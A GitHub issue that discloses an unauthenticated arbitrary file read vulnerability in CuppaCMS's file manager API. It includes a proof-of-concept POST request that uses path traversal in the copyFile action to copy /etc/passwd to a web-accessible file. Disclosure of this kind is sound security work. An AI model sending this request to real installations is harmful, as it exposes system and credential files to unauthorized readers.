Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unauthorized Arbitrary File Read vulnerability exists in CuppaCMS #28

Open
bkfish opened this issue Feb 19, 2022 · 0 comments
Open

Unauthorized Arbitrary File Read vulnerability exists in CuppaCMS #28

bkfish opened this issue Feb 19, 2022 · 0 comments

Comments

@bkfish
Copy link

bkfish commented Feb 19, 2022

An Unauthorized attacker can read arbitrary file via copy function

poc

POST /js/filemanager/api/index.php HTTP/1.1
Host: localhost:8888
Content-Type: application/json
Origin: http://localhost:8888
Content-Length: 98

{"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../out.txt","action":"copyFile"}

then visit '/out.txt'
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant